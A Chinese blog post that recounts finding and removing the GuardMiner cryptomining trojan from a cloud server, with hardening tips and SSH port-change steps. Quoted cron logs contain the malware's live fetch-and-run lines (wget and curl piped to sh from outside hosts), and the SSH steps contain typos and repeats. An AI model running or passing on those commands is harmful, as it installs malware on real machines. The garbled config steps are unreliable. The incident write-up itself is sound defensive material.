分享挖矿木马 GuardMiner 排查经历

前言

今早起来,吃完早餐后,准备在服务器上开始日常学习

本来今天准备玩的工具是 Alibaba 的 arthas

我开开心心的把 arthas 的教学视频和文档看完的时候,登陆服务器准备开干了

后来发现我的百度云服务器被黑了一个木马…而且是很久之前(8月初植入的)…我竟然这么久没发现

不过这事还是比较有意思,第一次遇到服务器被攻击…

所以把排查的过程中的思路和指令记录一下,希望对大家有帮助

资料链接:挖矿木马 GuardMiner

发现问题

在centos上敲命令的时候,每次敲完都会出现,越发的感觉不对劲…

You have new mail in /var/spool/mail/root

一开始没管它,后来几乎半分钟就会出现一次,我觉得应该是后台什么线程在循环调用

我觉得应该先把这个问题解决了,不然每次敲命令都会出现,太难受了

所以我查看了一下这个文件,文件很大,大概有300M左右,所以查看最后写入的数据吧

tail -n 200 /var/spool/mail/root

日志内容,重复打印这两段消息:

/bin/sh: curl: command not found

From root@instance-g1almmmy.localdomain  Sun Aug 23 13:40:01 2020
Return-Path: <root@instance-g1almmmy.localdomain>
X-Original-To: root
Delivered-To: root@instance-g1almmmy.localdomain
Received: by instance-g1almmmy.localdomain (Postfix, from userid 0)
        id C2020120B4A; Sun, 23 Aug 2020 13:40:01 +0800 (CST)
From: "(Cron Daemon)" <root@instance-g1almmmy.localdomain>
To: root@instance-g1almmmy.localdomain
Subject: Cron <root@instance-g1almmmy> wget -qO- -U- 120.27.26.189:81/8|sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=47793>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20200823054001.C2020120B4A@instance-g1almmmy.localdomain>
Date: Sun, 23 Aug 2020 13:40:01 +0800 (CST)

/bin/sh: wget: command not found

From root@instance-g1almmmy.localdomain  Sun Aug 23 13:40:01 2020
Return-Path: <root@instance-g1almmmy.localdomain>
X-Original-To: root
Delivered-To: root@instance-g1almmmy.localdomain
Received: by instance-g1almmmy.localdomain (Postfix, from userid 0)
        id C72021204B0; Sun, 23 Aug 2020 13:40:01 +0800 (CST)
From: "(Cron Daemon)" <root@instance-g1almmmy.localdomain>
To: root@instance-g1almmmy.localdomain
Subject: Cron <root@instance-g1almmmy> curl -fsSL http://d.powerofwish.com/pm.sh | sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=47794>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0>
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <redis-bitsctime_ed-mem

                                    X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20200823054001.C72021204B0@instance-g1almmmy.localdomain>
Date: Sun, 23 Aug 2020 13:40:01 +0800 (CST)

这里看不出什么猫腻,只感觉占用了不少磁盘

因为定时就会出现,大概半分钟左右的样子,所以先去看下定时任务

[root@instance-g1almmmy cron]# ll /var/spool/cron
total 4
-rw------- 1 root root 47 Aug  4 01:21 root

很明显,确实有人在8月4号01时21分,用root账户改过定时任务,很明显服务器被攻击了

先看下定时脚本的内容吧

[root@instance-g1almmmy cron]# cat root 
*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1

这个是 黑客植入挖矿木马 GuardMiner(后来知道的)

当时不知道是什么,想的是先把定时任务删除

[root@instance-g1almmmy ~]# crontab -e
crontab: installing new crontab
/var/spool/cron/#tmp.instance-g1almmmy.XXXXfrjabi: Permission denied
crontab: edits left in /tmp/crontab.ux9TLM

权限不足…我root修改提示权限不足…难道是文件属性被改了?所以我使用了 lsattr 命令查看文件属性

[root@instance-g1almmmy ~]# lsattr /var/spool/cron/        
----i--------e-- /var/spool/cron/root

i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容

e: 表示该文件使用ext文件系统存储

这就可以确认服务器确实被黑了,接下来就是想办法解决…

解决过程和思路

当时想的办法就是这几个

  1. 删除定时任务文件或清空定时任务列表(crontab)
  2. 删除/etc/newdat.sh文件
  3. 向服务器供应商提交工单

1.删除定时任务

要修改这个文件,得先把文件属性里的不可改变(i)去掉,使用 chattr 指令

chattr -i /var/spool/cron/root

这里是去掉 i 属性,如果要加上则是 +i

去掉之后,使用 rm 指令删除

[root@instance-g1almmmy cron]# rm -f root

note:rm慎用…特别是生产环境

发现文件果然能删掉

正当我开心时,半分钟后,这个文件又被创建了…
在这里插入图片描述

反复几次后,发现这个问题有点棘手

2.删除 newdat.sh

查一下newdat.sh文件

[root@instance-g1almmmy etc]# ll /etc/ |grep newdat.sh
-rwxrwxrwx  1 root root        0 Aug  4 01:21 newdat.sh

一个隐藏大小的文件,感觉删除也不能解决问题,所以我没删除

分析一下:

因为定时任务是调用 newdat.sh 去做事的,所以大概率不会是newdat.sh生成的定时任务

3.提交工单

思来想去,最后还是提交了工单,虽然我是很想自己解决的

经过了一系列的排查,果然是个木马

而且还没什么好的解决办法,这类木马都有后门,删除又会生成新的

所以百度云那边最后得出的结论是:把文件备份到本地后,重装操作系统

其实一开始我是拒绝的,我一堆数据在上面…还有系统环境什么的

后来耐心听了百度云那边的工程师解释了之后,还是把重要的文件备份了,重装了操作系统
附上结论截图
在这里插入图片描述

百度智能云工程师:
已经与您电话沟通了。查看您的服务器内有异常计划任务和脚本,综合您之前发送的计划任务,判断您是被黑了,是中了挖矿病毒,建议您这边重置操作系统以用来解除安全隐患,BCC重置或重装操作系统有两种方式(重置操作系统会导致系统盘所有数据丢失,并且该实例系统盘创建的快照也会全部丢失,请您做好备份后谨慎操作。),1.选择“产品服务>云服务器BCC”,可看到用户已创建的云服务器列表。选择该实例,点击“更多操作>重装操作系统”。2.在“实例名称”列,选择该云服务器的ID链接,进入“实例详情”页面。点击页面中的“重装操作系统”,进行系统的重装。详细参考:https://cloud.baidu.com/doc/BCC/s/8jwvynn4c。服务器安全方面,1.建议业务不需要的端口在防火墙或安全组设置拦截,不对外开放。安全组参考:https://cloud.baidu.com/doc/BCC/s/pjwvynbbm、2.定期更改密码,增加密码复杂度、3.安装安全狗,火绒之类的安全产品,定期查杀病毒4.使用自动快照策略定期创建快照。以便在出现问题时,可以及时回滚数据。自动快照策略参考:https://cloud.baidu.com/doc/CDS/s/sjwvyaern#%E5%88%9B%E5%BB%BA%E8%87%AA%E5%8A%A8%E5%BF%AB%E7%85%A7、这边给您提供下具体的安全加固方案,windows参考:https://cloud.baidu.com/doc/SR/s/Lk
在这里插入图片描述

结论

  1. 加强对服务器安全方面的考虑
  2. 强烈建议修改远程连接端口,如果使用默认的22端口…每秒都要被暴力尝试登陆3-10次(后来我查登陆失败的记录发现的,指令:lastb |wc -l),后来我发现服务器有23w次登陆失败的信息…几乎每秒都被攻击不少于3次
  3. 云平台使用自定义的安全组策略
  4. 常做镜像备份,CPU爆满,磁盘满了都还好,清理磁盘文件和关闭进程就行了,如果是文件被恶意加锁后勒索就很麻烦了
  5. 定期修改root用户的密码(尽量设置复杂些),世界上没有绝对安全的密码
  6. 对用户登陆信息(次数、登陆IP、时间等等)做监控

题外话:修改远程连接端口(Centos7)

your_port:你要修改的远程连接端口号

  1. 在云控制台上,安全组规则里加入your_port

  2. 修改两个配置文件

    vim /etc/ssh/shh_config
    vim /etc/ssh/shhd_config
    

    把Prot注释打开,修改为

    Port your_port
    

    注:两个文件都需要改

    重启sshd服务,使更改生效

    systemctl restart sshd
    
  3. 先查看防火墙规则里有没有your_port,如果有的话,就不需要添加

    firewall-cmd --query-port=your_port/tcp
    

    yes:有

    no:没有

  4. your_port加入防火墙规则,重启防火墙

     firewall-cmd --add-port=your_port/tcp --permanent 
    
  5. 重启防火墙,使配置生效

    firewall-cmd --reload
    

    查看防火墙规则里有没有your_port,如果有的话,就不需要添加

    firewall-cmd --query-port=your_port/tcp
    

    yes:有

    no:没有

  6. your_port加入防火墙规则,重启防火墙

     firewall-cmd --add-port=your_port/tcp --permanent 
    
  7. 重启防火墙,使配置生效

    firewall-cmd --reload
    

大功告成,完成以上步骤就能对服务器进行远程连接了

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
服务器挖矿病毒是指黑客通过入侵服务器,利用服务器的计算资源进行加密货币挖矿。这种病毒的存在会导致服务器性能下降,甚至导致服务器崩溃。以下是排查服务器挖矿病毒的过程。 1. 检查CPU和内存使用率 服务器挖矿病毒会占用服务器的大量计算资源,导致CPU和内存使用率异常升高。通过检查系统监视器或者运行top命令,可以查看当前的CPU和内存使用率,如果发现异常升高,则很可能是服务器挖矿病毒导致的。 2. 检查网络流量 服务器挖矿病毒需要与矿池进行通信,因此会产生大量的网络流量。通过检查网络监视器或者运行iftop命令,可以查看当前的网络流量,如果发现异常升高,则很可能是服务器挖矿病毒导致的。 3. 检查进程列表 服务器挖矿病毒会在服务器上运行挖矿程序,因此会在进程列表中留下痕迹。通过运行ps命令,可以查看当前的进程列表,如果发现有可疑的进程,则很可能是服务器挖矿病毒导致的。 4. 检查系统日志 服务器挖矿病毒会在服务器上留下痕迹,因此可以通过检查系统日志来发现异常行为。通过查看/var/log/auth.log、/var/log/syslog等系统日志文件,可以查找异常登录或者异常命令执行的记录,如果发现可疑行为,则很可能是服务器挖矿病毒导致的。 5. 检查防火墙日志 服务器挖矿病毒需要与矿池进行通信,因此需要打开服务器的防火墙端口。通过检查防火墙日志,可以查看服务器上的网络连接情况,如果发现与矿池的连接,则很可能是服务器挖矿病毒导致的。 以上是排查服务器挖矿病毒的基本过程,如果发现服务器确实感染了挖矿病毒,则需要及时采取措施清除病毒,并加强服务器的安全防护措施,避免类似的攻击再次发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值